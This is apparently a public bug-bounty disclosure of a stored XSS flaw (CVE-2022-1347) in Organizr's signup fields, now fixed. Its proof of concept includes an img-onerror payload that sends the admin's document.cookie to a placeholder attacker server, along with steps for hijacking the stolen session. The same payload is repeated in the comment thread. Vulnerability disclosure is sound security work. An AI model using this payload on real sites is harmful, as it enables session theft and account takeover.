Stored XSS in the "Username" & "Email" input fields leads to account takeover of Admin & Co-admin users in causefx/organizr

0

Valid Reported on Apr 10th 2022

Description

The application Organizr allows malicious javascript in the "Username" & "Email" input fields for which an attacker can able to take over the account of Admin & Co-admin users.

Proof of Concept

1.During "Signup" put the below payloads in the "Username" & "Email" input fields.

```
<img src=x onerror=this.src='http://yourserverip:port/?'+document.cookie;>

<img src=x onerror=alert(document.location)>
```

2.Now run the attacker server by command: python3 -m http.server 3333
3.Then login with admin user and go to "Settings" -> "User Management"
4.Now xss will trigger, after that check attacker server you will see the admin session cookie
5.Copy the cookie and open inspect element from attacker account and replace the cookie of attacker with admin and reload the page
6.Then admin account will open.

PoC Video:

```
https://drive.google.com/file/d/10mcWCpsTO95xuDIMcd4MAEJPE5_2OM7A/view?usp=
```


Impact

Impact

Account takeover and privilege escalation

CVE
CVE-2022-1347
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Critical (9.6)

Registry
Other

Affected Version
1.90

Visibility
Public

Status
Fixed

Found by

SAMPRIT DAS
@sampritdas8
pro

Fixed by

causefx
@causefx
unranked

This report was seen 1,159 times.

We are processing your report and will contact the **causefx/organizr** team within 24 hours.
8 months ago

SAMPRIT DAS modified the report 8 months ago

SAMPRIT DAS modified the report 8 months ago

SAMPRIT DAS modified the report 8 months ago

We have contacted a member of the causefx/organizr team and are waiting to hear back
8 months ago

causefx modified the report 8 months ago

causefx validated this vulnerability 8 months ago

SAMPRIT DAS has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

causefx marked this as fixed in 2.1.1810 with commit a09d83 8 months ago

causefx has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

SAMPRIT DAS 8 months ago Researcher

@admin Admin have mistakenly marked the report as low can you please change the severity to the original state critical as normal

SAMPRIT DAS 8 months ago Researcher

CVSS score should be: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H as we can takeover admin and co-admin account

SAMPRIT DAS 8 months ago Researcher

CVSS score should be: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H @admin please change it

causefx 7 months ago Maintainer

My mistake, please change the severity as said by researcher and award the bounty

causefx 7 months ago Maintainer

forgot to tag @admin sorry about that.

causefx 7 months ago Maintainer

forgot to tag @admin sorry about that.

Jamie Slome 7 months ago Admin

Sorted 👍

SAMPRIT DAS 7 months ago Researcher

@admin Can you assign CVE to this report as the @maintainer agree

causefx 7 months ago Maintainer

@admin you can assign CVE for this report

SAMPRIT DAS 7 months ago Researcher

@admin also please change the first payload with this <img src=x onerror=this.src='http://yourserverip:port/?'+document.cookie;>

Jamie Slome 7 months ago Admin

Sorted 👍

SAMPRIT DAS 7 months ago Researcher

Thank you please changed the first payload with <img src=x onerror=this.src='http://yourserverip:port/?'+document.cookie;>

Jamie Slome 7 months ago Admin

Also done ✅

> Sign in to join this conversation